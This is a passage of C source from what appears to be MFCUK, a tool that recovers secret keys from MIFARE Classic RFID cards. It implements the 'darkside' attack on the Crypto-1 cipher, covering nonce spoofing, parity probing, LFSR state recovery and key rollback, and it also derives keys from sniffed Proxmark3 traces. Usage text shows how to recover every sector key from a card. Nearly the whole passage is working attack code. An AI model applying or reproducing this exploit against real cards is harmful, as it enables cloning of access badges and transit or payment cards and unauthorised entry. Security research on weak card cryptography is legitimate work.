  498. ptrFoundTagNonceEntry->spoofNrPfx = ptrFoundTagNonceEntry->spoofNrEnc & 0xFFFFFF1F;
  499. // Initialize the {Nr} with proper 29 bits prefix and {Par} with proper 3 bits prefix
  500. for (pos = 0; pos < 8; pos++) {
  501. ptrFoundTagNonceEntry->nrEnc[pos] = ptrFoundTagNonceEntry->spoofNrPfx | pos << 5;
  502. ptrFoundTagNonceEntry->arEnc[pos] = ptrFoundTagNonceEntry->spoofArEnc;
  503. ptrFoundTagNonceEntry->parBits[pos] = ptrFoundTagNonceEntry->spoofParBitsEnc & 0xE0;
  504. ptrFoundTagNonceEntry->parBitsCrntCombination[pos] = 0;
  505. }
  506. // Mark the begining of collecting STAGE2 probes
  507. ptrFoundTagNonceEntry->current_out_of_8 = 0;
  508. } else {
  509. ptrFoundTagNonceEntry->nackEnc[ptrFoundTagNonceEntry->current_out_of_8] = abtRx[0] & 0xf;
  510. ptrFoundTagNonceEntry->ks[ptrFoundTagNonceEntry->current_out_of_8] = ptrFoundTagNonceEntry->nackEnc[ptrFoundTagNonceEntry->current_out_of_8] ^ 0x5;
  511. ptrFoundTagNonceEntry->current_out_of_8++;
  512. if (ptrFoundTagNonceEntry->current_out_of_8 == 8) {
  513. for (pos = 0; pos < 8; pos++) {
  514. for (pos2 = 0; pos2 < 8; pos2++) {
  515. ptrFoundTagNonceEntry->parBitsArr[pos][pos2] = ((ptrFoundTagNonceEntry->parBits[pos] + ptrFoundTagNonceEntry->parBitsCrntCombination[pos] - 1) >> (7 - pos2)) & 0x01;
  516. }
  517. }
  518. states_list = lfsr_common_prefix(ptrFoundTagNonceEntry->spoofNrPfx, ptrFoundTagNonceEntry->spoofArEnc, ptrFoundTagNonceEntry->ks, ptrFoundTagNonceEntry->parBitsArr);
  519. for (i = 0; (states_list) && ((states_list + i)->odd != 0 || (states_list + i)->even != 0) && (i < MAX_COMMON_PREFIX_STATES); i++) {
  520. current_state = states_list + i;
  521. lfsr_rollback_word(current_state, uiUID ^ ptrFoundTagNonceEntry->tagNonce, 0);
  522. crypto1_get_lfsr(current_state, &key_recovered);
  523. if (bfOpts['v'] && (verboseLevel > 1)) {
  524. printf("\nINFO: block %d recovered KEY: %012"PRIx64"\n", uiBlock, key_recovered);
  525. }
  526. flag_key_recovered = 1;
  527. *ui64KeyRecovered = key_recovered;
  528. }
  529. crypto1_destroy(states_list);
  530. if (!flag_key_recovered) {
  531. //printf("{Nr} is not a DEADBEEF.... Need to find BEEF ALIVE!... Trying next one...\n");
  532. ptrFoundTagNonceEntry->spoofNrEnc++;
  533. ptrFoundTagNonceEntry->spoofArEnc = MFCUK_DARKSIDE_START_AR;
  534. ptrFoundTagNonceEntry->spoofParBitsEnc = 0x0;
  535. // If no key discovered for current {Nr}, {Ar}, 29bit-prefix, go back to satisfy STAGE1 with other {Nr} value, {Ar} we keep the same
  536. ptrFoundTagNonceEntry->current_out_of_8 = -1;
  537. return MFCUK_FAIL_CRAPTO;
  538. }
  539. }
  540. }
  541. } else if (res == 32) {
  542. // Are we so MFCUKing lucky (?!), since ui64Key is a "dummy" key
  543. flag_key_recovered = true;
  544. *ui64KeyRecovered = ui64Key;
  545. }
  546. //printf(" At: ");
  547. //print_hex_par(abtRx,szRx,abtRxPar);
  548. crypto1_destroy(pcs);
  549. if (flag_key_recovered) {
  550. return MFCUK_OK_KEY_RECOVERED;
  551. } else {
  552. return MFCUK_SUCCESS;
  553. }
  554. }
  555. /*
  556. TODO:
  557. - have an option with frequency of the display information, and with portable way of getting elapsed time
  558. -m max_iterations - stop everything after so many iterations, default is infinite until all keys found
  559. -T max_elapsed_time - stop after time elapsed
  560. */
  561. static void print_usage(FILE *fp, const char *prog_name)
  562. {
  563. fprintf(fp, "Usage:\n");
  564. fprintf(fp, "-C - require explicit connection to the reader. Without this option, the connection is not made and recovery will not occur\n");
  565. fprintf(fp, "-i mifare.dmp - load input mifare_classic_tag type dump\n");
  566. fprintf(fp, "-I mifare_ext.dmp - load input extended dump specific to this tool, has several more fields on top of mifare_classic_tag type dump\n");
  567. fprintf(fp, "-o mifare.dmp - output the resulting mifare_classic_tag dump to a given file\n");
  568. fprintf(fp, "-O mifare_ext.dmp - output the resulting extended dump to a given file\n");
  569. fprintf(fp, "-V sector[:A/B/any_other_alphanum[:fullkey]] - verify key for specified sector, -1 means all sectors\n");
  570. fprintf(fp, "\tAfter first semicolon key-type can specified: A verifies only keyA, B verifies only keyB, anything else verifies both keys\n");
  571. fprintf(fp, "\tAfter second semicolon full 12 hex-digits key can specified - this key will override any loaded dump key for the given sector(s) and key-type(s)\n");
  572. fprintf(fp, "-R sector[:A/B/any_other_alphanum] - recover key for sector, -1 means all sectors.\n");
  573. fprintf(fp, "\tAfter first semicolon key-type can specified: A recovers only keyA, B recovers only keyB, anything else recovers both keys\n");
  574. fprintf(fp, "-U UID - force specific UID. If a dump was loaded with -i, -U will overwrite the in the memory where dump was loaded\n");
  575. fprintf(fp, "-M tagtype - force specific tagtype. 8 is 1K, 24 is 4K, 32 is DESFire\n");
  576. fprintf(fp, "-D - for sectors and key-types marked for verification, in first place use default keys to verify (maybe you are lucky)\n");
  577. fprintf(fp, "-d key - specifies additional full 12 hex-digits default key to be checked. Multiple -d options can be used for more additional keys\n");
  578. fprintf(fp, "-s - milliseconds to sleep for SLEEP_AT_FIELD_OFF (Default: %d ms)\n", SLEEP_AT_FIELD_OFF);
  579. fprintf(fp, "-S - milliseconds to sleep for SLEEP_AFTER_FIELD_ON (Default: %d ms)\n", SLEEP_AFTER_FIELD_ON);
  580. fprintf(fp, "-P hex_literals_separated - try to recover the key from a conversation sniffed with Proxmark3 (mifarecrack.c based). Accepts several options:\n");
  581. fprintf(fp, "\tConcatenated string in hex literal format of form uid:tag_chal:nr_enc:reader_resp:tag_resp\n");
  582. fprintf(fp, "\tExample -P 0x5c72325e:0x50829cd6:0xb8671f76:0xe00eefc9:0x4888964f would find key FFFFFFFFFFFF\n");
  583. fprintf(fp, "-p proxmark3_full.log - tries to parse the log file on it's own (mifarecrack.py based), get the values for option -P and invoke it\n");
  584. fprintf(fp, "-F - tries to fingerprint the input dump (-i) against known cards' data format\n");
  585. fprintf(fp, "-v verbose_level - verbose level (default is O)\n");
  586. fprintf(fp, "\n");
  587. fprintf(fp, "Usage examples:\n");
  588. fprintf(fp, " Recove all keys from all sectors:\n");
  589. fprintf(fp, " %s -C -R -1\n", prog_name);
  590. fprintf(fp, " Recove the sector #0 key with 250 ms for all delays (delays could give more results): \n");
  591. fprintf(fp, " %s -C -R 0 -s 250 -S 250\n", prog_name);
  592. return;
  593. }
  594. static void print_identification(void)
  595. {
  596. fprintf(stdout, "%s - %s\n", PACKAGE_NAME, PACKAGE_VERSION);
  597. fprintf(stdout, "%s - %s\n", BUILD_NAME, BUILD_VERSION);
  598. fprintf(stdout, "by %s\n", BUILD_AUTHOR);
  599. fprintf(stdout, "\n");
  600. }
  601. static void print_mifare_classic_tag_actions(const char *title, mifare_classic_tag *tag)
  602. {
  603. uint32_t i, max_blocks, trailer_block;
  604. uint8_t bTagType;
  605. mifare_classic_block_trailer *ptr_trailer = NULL;
  606. if (!tag) {
  607. return;
  608. }
  609. bTagType = tag->amb->mbm.btUnknown;
  610. if (!IS_MIFARE_CLASSIC_1K(bTagType) && !IS_MIFARE_CLASSIC_4K(bTagType)) {
  611. return;
  612. }
  613. printf("%s - UID %02x %02x %02x %02x - TYPE 0x%02x (%s)\n",
  614. title, tag->amb->mbm.abtUID[0], tag->amb->mbm.abtUID[1], tag->amb->mbm.abtUID[2], tag->amb->mbm.abtUID[3], bTagType,
  615. (IS_MIFARE_CLASSIC_1K(bTagType) ? (MIFARE_CLASSIC_1K_NAME) : (IS_MIFARE_CLASSIC_4K(bTagType) ? (MIFARE_CLASSIC_4K_NAME) : (MIFARE_CLASSIC_UNKN_NAME)))
  616. );
  617. printf("---------------------------------------------------------------------\n");
  618. printf("Sector\t| Key A\t|ACTS | RESL\t| Key B\t|ACTS | RESL\n");
  619. printf("---------------------------------------------------------------------\n");
  620. if (IS_MIFARE_CLASSIC_1K(tag->amb->mbm.btUnknown)) {
  621. max_blocks = MIFARE_CLASSIC_1K_MAX_BLOCKS;
  622. } else {
  623. max_blocks = MIFARE_CLASSIC_4K_MAX_BLOCKS;
  624. }
  625. for (i = 0; i < max_blocks; i++) {
  626. trailer_block = get_trailer_block(bTagType, i);
  627. if (!is_valid_block(bTagType, trailer_block)) {
  628. break;
  629. }
  630. ptr_trailer = (mifare_classic_block_trailer *)((char *)tag + (trailer_block * MIFARE_CLASSIC_BYTES_PER_BLOCK));
  631. printf("%d\t| %02x%02x%02x%02x%02x%02x\t| %c %c | %c %c\t| %02x%02x%02x%02x%02x%02x\t| %c %c | %c %c\n",
  632. get_sector_for_block(bTagType, trailer_block),
  633. ptr_trailer->abtKeyA[0], ptr_trailer->abtKeyA[1], ptr_trailer->abtKeyA[2],
  634. ptr_trailer->abtKeyA[3], ptr_trailer->abtKeyA[4], ptr_trailer->abtKeyA[5],
  635. (ptr_trailer->abtAccessBits[ACTIONS_KEY_A] & ACTIONS_VERIFY) ? 'V' : '.',
  636. (ptr_trailer->abtAccessBits[ACTIONS_KEY_A] & ACTIONS_RECOVER) ? 'R' : '.',
  637. (ptr_trailer->abtAccessBits[RESULTS_KEY_A] & ACTIONS_VERIFY) ? 'V' : '.',
  638. (ptr_trailer->abtAccessBits[RESULTS_KEY_A] & ACTIONS_RECOVER) ? 'R' : '.',
  639. ptr_trailer->abtKeyB[0], ptr_trailer->abtKeyB[1], ptr_trailer->abtKeyB[2],
  640. ptr_trailer->abtKeyB[3], ptr_trailer->abtKeyB[4], ptr_trailer->abtKeyB[5],
  641. (ptr_trailer->abtAccessBits[ACTIONS_KEY_B] & ACTIONS_VERIFY) ? 'V' : '.',
  642. (ptr_trailer->abtAccessBits[ACTIONS_KEY_B] & ACTIONS_RECOVER) ? 'R' : '.',
  643. (ptr_trailer->abtAccessBits[RESULTS_KEY_B] & ACTIONS_VERIFY) ? 'V' : '.',
  644. (ptr_trailer->abtAccessBits[RESULTS_KEY_B] & ACTIONS_RECOVER) ? 'R' : '.'
  645. );
  646. // Go beyond current trailer block, i.e. go to next sector
  647. i = trailer_block;
  648. }
  649. printf("\n");
  650. return;
  651. }
  652. static bool mfcuk_darkside_reset_advanced(nfc_device *pnd)
  653. {
  654. if (0 > nfc_device_set_property_bool(pnd, NP_HANDLE_CRC, true)) {
  655. //ERR("configuring NP_HANDLE_CRC");
  656. //return false;
  657. }
  658. if (0 > nfc_device_set_property_bool(pnd, NP_HANDLE_PARITY, true)) {
  659. //ERR("configuring NP_HANDLE_PARITY");
  660. //return false;
  661. }
  662. return true;
  663. }
  664. static bool mfcuk_darkside_select_tag(nfc_device *pnd, int iSleepAtFieldOFF, int iSleepAfterFieldON, nfc_target_info *ti)
  665. {
  666. nfc_target ti_tmp;
  667. if (!pnd || !ti) {
  668. ERR("some parameter are NULL");
  669. return false;
  670. }
  671. // Drop the field for a while, so the card can reset
  672. if (0 > nfc_device_set_property_bool(pnd, NP_ACTIVATE_FIELD, false)) {
  673. ERR("configuring NP_ACTIVATE_FIELD");
  674. return false;
  675. }
  676. // {WPMCC09} 2.4. Tag nonces: "drop the field (for approximately 30us) to discharge all capacitors"
  677. sleep(iSleepAtFieldOFF);
  678. // Let the reader only try once to find a tag
  679. if (0 > nfc_device_set_property_bool(pnd, NP_INFINITE_SELECT, false)) {
  680. ERR("configuring NP_INFINITE_SELECT");
  681. return false;
  682. }
  683. // Configure the CRC and Parity settings
  684. if (0 > nfc_device_set_property_bool(pnd, NP_HANDLE_CRC, true)) {
  685. ERR("configuring NP_HANDLE_CRC");
  686. return false;
  687. }
  688. if (0 > nfc_device_set_property_bool(pnd, NP_HANDLE_PARITY, true)) {
  689. ERR("configuring NP_HANDLE_PARITY");
  690. return false;
  691. }
  692. // Enable field so more power consuming cards can power themselves up
  693. if (0 > nfc_device_set_property_bool(pnd, NP_ACTIVATE_FIELD, true)) {
  694. ERR("configuring NP_ACTIVATE_FIELD");
  695. return false;
  696. }
  697. // Switch the field back on, and wait for a constant amount of time before authenticating
  698. sleep(iSleepAfterFieldON);
  699. // Poll for a ISO14443A (MIFARE) tag
  700. if (0 >= nfc_initiator_select_passive_target(pnd, nmMifare, NULL, 0, &ti_tmp)) {
  701. ERR("connecting to MIFARE Classic tag");
  702. return false;
  703. }
  704. memcpy(ti, &ti_tmp, sizeof(ti_tmp));
  705. return true;
  706. }
  707. int main(int argc, char *argv[])
  708. {
  709. // getopt related
  710. int ch = 0;
  711. char strOutputFilename[256] = {0}; // Initialize with '\0' character
  712. //char extendedDescription[MFCUK_EXTENDED_DESCRIPTION_LENGTH] = {0}; // Initialize with '\0' character
  713. uint8_t keyOpt[MIFARE_CLASSIC_KEY_BYTELENGTH] = {0};
  714. uint8_t uidOpt[MIFARE_CLASSIC_UID_BYTELENGTH] = {0};
  715. mifare_classic_block_trailer *ptr_trailer = NULL;
  716. mifare_classic_block_trailer *ptr_trailer_dump = NULL;
  717. int sector = 0;
  718. uint32_t block = 0;
  719. uint8_t action = 0;
  720. uint8_t specific_key_type = 0;
  721. uint8_t max_sectors = MIFARE_CLASSIC_4K_MAX_SECTORS;
  722. // Defaults, can be overriden by -S and -s command line arguments
  723. int iSleepAtFieldOFF = SLEEP_AT_FIELD_OFF; // modified with argument -S
  724. int iSleepAfterFieldON = SLEEP_AFTER_FIELD_ON; // modified with argument -s
  725. char *token = NULL;
  726. const char *sep = ":";
  727. char *str = NULL;
  728. int iter = 0;
  729. // libnfc related
  730. nfc_context *context;
  731. nfc_device *pnd;
  732. nfc_target ti;
  733. // mifare and crapto related
  734. uint32_t uiErrCode = MFCUK_SUCCESS;
  735. uint64_t ui64KeyRecovered;
  736. mifare_classic_tag_ext dump_loaded_tag;
  737. mifare_classic_tag_ext tag_on_reader;
  738. mifare_classic_tag_ext tag_recover_verify;
  739. // fingerprint options related
  740. mifare_classic_tag finger_tag;
  741. float finger_score;
  742. float finger_score_highest;
  743. int finger_index_highest;
  744. // proxmark3 log related
  745. #define PM3_UID 0
  746. #define PM3_TAG_CHAL 1
  747. #define PM3_NR_ENC 2
  748. #define PM3_READER_RESP 3
  749. #define PM3_TAG_RESP 4
  750. #define PM3_MULTISECT_AUTH 5
  751. uint32_t pm3_full_set_log[5]; // order is: uid, tag_challenge, nr_enc, reader_response, tag_response
  752. uint32_t pm3_log_multisect_auth;
  753. uint32_t pm3_ks2;
  754. uint32_t pm3_ks3;
  755. struct Crypto1State *pm3_revstate = NULL;
  756. struct Crypto1State *pm3_revstate_multisect_auth = NULL;
  757. uint64_t pm3_lfsr;
  758. unsigned char *pm3_plfsr = (unsigned char *)&pm3_lfsr;
  759. uint8_t pm3_log_multisect_decrypted[4];
  760. uint8_t pm3_log_multisect_verified[4];
  761. // various related
  762. int i, j, k;
  763. size_t st;
  764. int numDefKeys = mfcuk_default_keys_num;
  765. uint8_t (*current_default_keys)[MIFARE_CLASSIC_KEY_BYTELENGTH];
  766. // At runtime, duplicate the mfcuk_default_keys[], and then add at it's bottom the default keys specified via -d command line options
  767. if (!(current_default_keys = malloc(numDefKeys * MIFARE_CLASSIC_KEY_BYTELENGTH))) {
  768. ERR("failed to allocate memory for current_default_keys");
  769. return EXIT_FAILURE;
  770. }
  771. // Init the structs
  772. memcpy(current_default_keys, mfcuk_default_keys, numDefKeys * MIFARE_CLASSIC_KEY_BYTELENGTH);
  773. memset(&dump_loaded_tag, 0, sizeof(dump_loaded_tag));
  774. memset(&tag_on_reader, 0, sizeof(tag_on_reader));
  775. memset(&tag_recover_verify, 0, sizeof(tag_recover_verify));
  776. tag_recover_verify.type = MIFARE_CLASSIC_4K;
  777. tag_recover_verify.tag_basic.amb[0].mbm.btUnknown = MIFARE_CLASSIC_4K;
  778. // "Sort-of" initializing the entries
  779. memset((void *)arrSpoofEntries, 0, sizeof(arrSpoofEntries));
  780. // MAIN ( broken-brain (: ) logic of the tool
  781. // ---------------------------------------
  782. clear_screen();
  783. print_identification();
  784. if (argc < 2) {
  785. print_usage(stdout, argv[0]);
  786. return EXIT_FAILURE;
  787. }
  788. // Load fingerprinting "database"
  789. mfcuk_finger_load();
  790. /*
  791. if (mfcuk_finger_load() == 0)
  792. {
  793. ERR ("Unable to load any fingerprinting database.");
  794. exit (EXIT_FAILURE);
  795. }
  796. */
  797. // OPTION PROCESSING BLOCK
  798. // TODO: for WIN32 figure out how to use unistd/posix-compatible Gnu.Getopt.dll (http://getopt.codeplex.com)
  799. // For WIN32 using VERY limited (modified) Xgetopt (http://www.codeproject.com/KB/cpp/xgetopt.aspx)
  800. while ((ch = getopt(argc, argv, "htTDCi:I:o:O:V:R:S:s:v:M:U:d:n:P:p:F:")) != -1) { // -1 or EOF
  801. switch (ch) {
  802. // Name for the extended dump
  803. case 'n':
  804. strncpy(tag_recover_verify.description, optarg, sizeof(tag_recover_verify.description));
  805. break;
  806. case 'C':
  807. bfOpts[ch] = true;
  808. break;
  809. // Additional default key option
  810. case 'd':
  811. memset(&keyOpt, 0, MIFARE_CLASSIC_KEY_BYTELENGTH);
  812. if (strlen(optarg) != (MIFARE_CLASSIC_KEY_BYTELENGTH * 2)) {
  813. // accept only 12 hex digits (fully qualified) Mifare Classic keys
  814. WARN("invalid length key argument (%s)", optarg);
  815. break;
  816. }
  817. for (st = 0; st < MIFARE_CLASSIC_KEY_BYTELENGTH; st++) {
  818. if (!is_hex(optarg[2 * st]) || !is_hex(optarg[2 * st + 1])) {
  819. // bad input hex string
  820. WARN("invalid hex chars in key argument (%s)", optarg);
  821. break;
  822. }
  823. keyOpt[st] = hex2bin(optarg[2 * st], optarg[2 * st + 1]);
  824. }
  825. // Increase number of keys
  826. numDefKeys++;
  827. // Also increase the memory to hold one more key. Hope not many keys will be specified,
  828. // so realloc() will not impact performance and will not fragment memory
  829. if (!(current_default_keys = realloc(current_default_keys, numDefKeys * MIFARE_CLASSIC_KEY_BYTELENGTH))) {
  830. ERR("failed to reallocate memory for current_default_keys");
  831. return EXIT_FAILURE;
  832. }
  833. memcpy(&(current_default_keys[numDefKeys - 1]), &keyOpt, MIFARE_CLASSIC_KEY_BYTELENGTH);
  834. // Mark current option as specified (though not used in any checks)
  835. bfOpts[ch] = true;
  836. // Force the use of default keys
  837. bfOpts['D'] = true;
  838. break;
  839. // Verbose option and level
  840. case 'v':
  841. if (!(i = atoi(optarg)) || (i < 1)) {
  842. WARN("non-supported verbose-level value (%s)", optarg);
  843. } else {
  844. verboseLevel = i;
  845. bfOpts[ch] = true;
  846. }
  847. break;
  848. case 'M':
  849. // Mifare Classic type option
  850. if (!(i = atoi(optarg)) || (!IS_MIFARE_CLASSIC_1K(i) && !IS_MIFARE_CLASSIC_4K(i))) {
  851. WARN("non-supported tag type value (%s)", optarg);
  852. } else {
  853. tag_recover_verify.type = i;
  854. tag_recover_verify.tag_basic.amb[0].mbm.btUnknown = i;
  855. bfOpts[ch] = true;
  856. }
  857. break;
  858. case 'U':
  859. // UID option
  860. if (strlen(optarg) != (MIFARE_CLASSIC_UID_BYTELENGTH * 2)) {
  861. // accept only 8 hex digits (fully qualified) Mifare Classic keys
  862. WARN("invalid length UID argument (%s)", optarg);
  863. break;
  864. }
  865. for (st = 0; st < MIFARE_CLASSIC_UID_BYTELENGTH; st++) {
  866. if (!is_hex(optarg[2 * st]) || !is_hex(optarg[2 * st + 1])) {
  867. // bad input hex string
  868. WARN("invalid hex chars in key argument (%s)", optarg);
  869. break;
  870. }
  871. uidOpt[st] = hex2bin(optarg[2 * st], optarg[2 * st + 1]);
  872. }
  873. if (st >= MIFARE_CLASSIC_UID_BYTELENGTH) {
  874. tag_recover_verify.uid = bswap_32_pu8(uidOpt);
  875. memcpy(tag_recover_verify.tag_basic.amb[0].mbm.abtUID, uidOpt, MIFARE_CLASSIC_UID_BYTELENGTH);
  876. bfOpts[ch] = true;
  877. }
  878. break;
  879. case 'S':
  880. // Sleep for "AT FIELD OFF"
  881. if (!(i = atoi(optarg)) || (i < 1) || (i > 10000)) {
  882. WARN("non-supported sleep-AT-field OFF value (%s)", optarg);
  883. } else {
  884. iSleepAtFieldOFF = i;
  885. bfOpts[ch] = true;
  886. }
  887. break;
  888. case 's':
  889. // Sleep for "AFTER FIELD ON"
  890. if (!(i = atoi(optarg)) || (i < 1) || (i > 10000)) {
  891. WARN("non-supported sleep-AFTER-field ON value (%s)", optarg);
  892. } else {
  893. iSleepAfterFieldON = i;
  894. bfOpts[ch] = true;
  895. }
  896. break;
  897. case 'D':
  898. // Use DEFAULT KEYS for verification of sectors and key-types marked as ACTIONS_VERIFY
  899. bfOpts[ch] = true;
  900. break;
  901. case 'R':
  902. case 'V':
  903. // Recover or Verify
  904. action = (ch == 'R') ? ACTIONS_RECOVER : ACTIONS_VERIFY;
  905. token = NULL;
  906. str = optarg;
  907. iter = 0;
  908. while ((token = strtok(str, sep)) && (iter < 3)) {
  909. switch (iter) {
  910. // Here is the sector argument
  911. case 0:
  912. // BUG: if sector is 0, atoi() returns 0 (ok); if sector is non-numeric, atoi() returns also 0 (not-ok) - cannot differentiate
  913. if (!(sector = atoi(token)) && (token[0] != '0')) {
  914. WARN("non-numeric sector argument (%s)", token);
  915. return EXIT_FAILURE;
  916. }
  917. // We don't know apriori whether loaded dump or the card on the reader is 1K or 4K, so assume validity for 4K
  918. if ((sector != -1) && !is_valid_sector(MIFARE_CLASSIC_4K, sector)) {
  919. WARN("invalid sector argument (%d)", sector);
  920. return EXIT_FAILURE;
  921. } else {
  922. for (i = ((sector == -1) ? (0) : (sector)); i < ((sector == -1) ? (MIFARE_CLASSIC_4K_MAX_SECTORS) : (sector + 1)); i++) {
  923. // TODO: proper error handling for block and ptr_trailer
  924. block = get_trailer_block_for_sector(MIFARE_CLASSIC_4K, i);
  925. ptr_trailer = (mifare_classic_block_trailer *)((char *)(&tag_recover_verify.tag_basic) + (block * MIFARE_CLASSIC_BYTES_PER_BLOCK));
  926. ptr_trailer->abtAccessBits[ACTIONS_KEY_A] |= action;
  927. ptr_trailer->abtAccessBits[ACTIONS_KEY_B] |= action;
  928. }
  929. }
  930. break;
  931. // Here is the key-type argument
  932. // after case 0, we can assume sector is a safe and valid sector
  933. case 1:
  934. switch (token[0]) {
  935. case 'A':
  936. case 'B':
  937. specific_key_type = keyA + (token[0] - 'A');
  938. // Invalidate all the opposite keys
  939. for (i = ((sector == -1) ? (0) : (sector)); i < ((sector == -1) ? (MIFARE_CLASSIC_4K_MAX_SECTORS) : (sector + 1)); i++) {
  940. // TODO: proper error handling for block and ptr_trailer
  941. block = get_trailer_block_for_sector(MIFARE_CLASSIC_4K, i);
  942. ptr_trailer = (mifare_classic_block_trailer *)((char *)(&tag_recover_verify.tag_basic) + (block * MIFARE_CLASSIC_BYTES_PER_BLOCK));
  943. ptr_trailer->abtAccessBits[ACTIONS_KEY_B * (1 - (token[0] - 'A'))] &= (~action);
  944. }
  945. break;
  946. default:
  947. specific_key_type = 0;
  948. // Validate all the key-types
  949. for (i = ((sector == -1) ? (0) : (sector)); i < ((sector == -1) ? (MIFARE_CLASSIC_4K_MAX_SECTORS) : (sector + 1)); i++) {
  950. // TODO: proper error handling for block and ptr_trailer
  951. block = get_trailer_block_for_sector(MIFARE_CLASSIC_4K, i);
  952. ptr_trailer = (mifare_classic_block_trailer *)((char *)(&tag_recover_verify.tag_basic) + (block * MIFARE_CLASSIC_BYTES_PER_BLOCK));
  953. ptr_trailer->abtAccessBits[ACTIONS_KEY_A] |= action;
  954. ptr_trailer->abtAccessBits[ACTIONS_KEY_B] |= action;
  955. }
  956. break;
  957. }
  958. break;
  959. // Here is the key argument
  960. // after case 0, we can assume sector is a safe and valid sector
  961. case 2:
  962. // Recovery does not need a key
  963. if (ch == 'R') {
  964. break;
  965. }
  966. memset(&keyOpt, 0, MIFARE_CLASSIC_KEY_BYTELENGTH);
  967. if (strlen(token) != (MIFARE_CLASSIC_KEY_BYTELENGTH * 2)) {
  968. // accept only 12 hex digits (fully qualified) Mifare Classic keys
  969. WARN("invalid length key argument (%s)", token);
  970. break;
  971. }
  972. for (st = 0; st < MIFARE_CLASSIC_KEY_BYTELENGTH; st++) {
  973. if (!is_hex(token[2 * st]) || !is_hex(token[2 * st + 1])) {
  974. // bad input hex string
  975. WARN("invalid hex chars in key argument (%s)", token);
  976. break;
  977. }
  978. keyOpt[st] = hex2bin(token[2 * st], token[2 * st + 1]);
  979. }
  980. for (i = ((sector == -1) ? (0) : (sector)); i < ((sector == -1) ? (MIFARE_CLASSIC_4K_MAX_SECTORS) : (sector + 1)); i++) {
  981. // TODO: proper error handling for block and ptr_trailer
  982. block = get_trailer_block_for_sector(MIFARE_CLASSIC_4K, i);
  983. ptr_trailer = (mifare_classic_block_trailer *)((char *)(&tag_recover_verify.tag_basic) + (block * MIFARE_CLASSIC_BYTES_PER_BLOCK));
  984. if (!specific_key_type || specific_key_type == keyA) {
  985. memcpy(&(ptr_trailer->abtKeyA[0]), keyOpt, sizeof(keyOpt));
  986. ptr_trailer->abtAccessBits[ACTIONS_KEY_A] |= ACTIONS_KEYSET;
  987. }
  988. if (!specific_key_type || specific_key_type == keyB) {
  989. memcpy(&(ptr_trailer->abtKeyB[0]), keyOpt, sizeof(keyOpt));
  990. ptr_trailer->abtAccessBits[ACTIONS_KEY_B] |= ACTIONS_KEYSET;
  991. }
  992. }
  993. break;
  994. // We do not support any other arguments for now for -R/-V option
  995. default:
  996. break;
  997. }
  998. str = NULL;
  999. iter++;
  1000. }
  1001. break;
  1002. case 'i':
  1003. // Input simple dump file of type mifare_classic_tag, Options i and I are autoexclusive
  1004. if (!bfOpts['i'] && !bfOpts['I']) {
  1005. if (!mfcuk_load_tag_dump(optarg, &(dump_loaded_tag.tag_basic))) {
  1006. WARN("Unable to load tag dump from '%s'", optarg);
  1007. } else {
  1008. bfOpts[ch] = true;
  1009. }
  1010. }
  1011. break;
  1012. case 'I':
  1013. // Input extended dump file of type mifare_classic_tag_ext, Options i and I are autoexclusive
  1014. if (!bfOpts['i'] && !bfOpts['I']) {
  1015. if (!mfcuk_load_tag_dump_ext(optarg, &(dump_loaded_tag))) {
  1016. WARN("Unable to load tag dump from '%s'", optarg);
  1017. } else {
  1018. bfOpts[ch] = true;
  1019. }
  1020. }
  1021. break;
  1022. case 'o':
  1023. case 'O':
  1024. // Output simple/extended dump file, Options o and O are autoexclusive
  1025. if (!bfOpts['o'] && !bfOpts['O']) {
  1026. strncpy(strOutputFilename, optarg, sizeof(strOutputFilename));
  1027. bfOpts[ch] = true;
  1028. }
  1029. break;
  1030. // Run just test-cases for verifying the correctnes of is_ and get_ block/sector functions
  1031. case 't':
  1032. // Requested test of Mifare Classic 1K Blocks and Sectors functionality
  1033. test_mifare_classic_blocks_sectors_functions(MIFARE_CLASSIC_1K);
  1034. bfOpts[ch] = true;
  1035. break;
  1036. case 'T':
  1037. // Requested test of Mifare Classic 4K Blocks and Sectors functionality
  1038. test_mifare_classic_blocks_sectors_functions(MIFARE_CLASSIC_4K);
  1039. bfOpts[ch] = true;
  1040. break;
  1041. case 'P':
  1042. token = NULL;
  1043. str = optarg;
  1044. iter = 0;
  1045. // parse the arguments of the option. ugly, ugly... i know :-S
  1046. while ((token = strtok(str, sep)) && (iter < (int)(sizeof(pm3_full_set_log) / sizeof(pm3_full_set_log[0])))) {
  1047. str = NULL;
  1048. errno = 0;
  1049. pm3_full_set_log[iter] = strtoul(token, NULL, 16);
  1050. // strtoul failed somewhere. WTF?! strtoul() is not properly setting errno... errrrrggh!
  1051. if (errno != 0) {
  1052. WARN("Invalid hex literal %s for option -P at position %d", optarg, iter);
  1053. }
  1054. iter++;
  1055. }
  1056. // if not all arguments were fine, fire warning
  1057. if (iter != sizeof(pm3_full_set_log) / sizeof(pm3_full_set_log[0])) {
  1058. WARN("Invalid number of hex literal for option -P");
  1059. }
  1060. // otherwise try to recover
  1061. else {
  1062. /*
  1063. // TODO: implement better this function
  1064. mfcuk_get_key_from_full_state(pm3_full_set, &ui64_lsfr);
  1065. */
  1066. pm3_ks2 = pm3_full_set_log[PM3_READER_RESP] ^ prng_successor(pm3_full_set_log[PM3_TAG_CHAL], 64);
  1067. pm3_ks3 = pm3_full_set_log[PM3_TAG_RESP] ^ prng_successor(pm3_full_set_log[PM3_TAG_CHAL], 96);
  1068. pm3_revstate = lfsr_recovery64(pm3_ks2, pm3_ks3);
  1069. lfsr_rollback_word(pm3_revstate, 0, 0);
  1070. lfsr_rollback_word(pm3_revstate, 0, 0);
  1071. lfsr_rollback_word(pm3_revstate, pm3_full_set_log[PM3_NR_ENC], 1);
  1072. lfsr_rollback_word(pm3_revstate, pm3_full_set_log[PM3_UID] ^ pm3_full_set_log[PM3_TAG_CHAL], 0);
  1073. crypto1_get_lfsr(pm3_revstate, &pm3_lfsr);
  1074. printf("proxmark3 log key: %02x%02x%02x%02x%02x%02x\n", pm3_plfsr[5], pm3_plfsr[4], pm3_plfsr[3], pm3_plfsr[2], pm3_plfsr[1], pm3_plfsr[0]);
  1075. crypto1_destroy(pm3_revstate);
  1076. // If all minimum required details from the log were parsed and still there are some more hex tokens, it might be a multi-sector authentication test request
  1077. if (token) {
  1078. errno = 0;
  1079. pm3_log_multisect_auth = strtoul(token, NULL, 16);
  1080. // strtoul failed somewhere. WTF?! strtoul() is not properly setting errno... errrrrggh!
  1081. if (errno != 0) {
  1082. WARN("Invalid hex literal %s for option -P at position %d", optarg, iter);
  1083. } else {
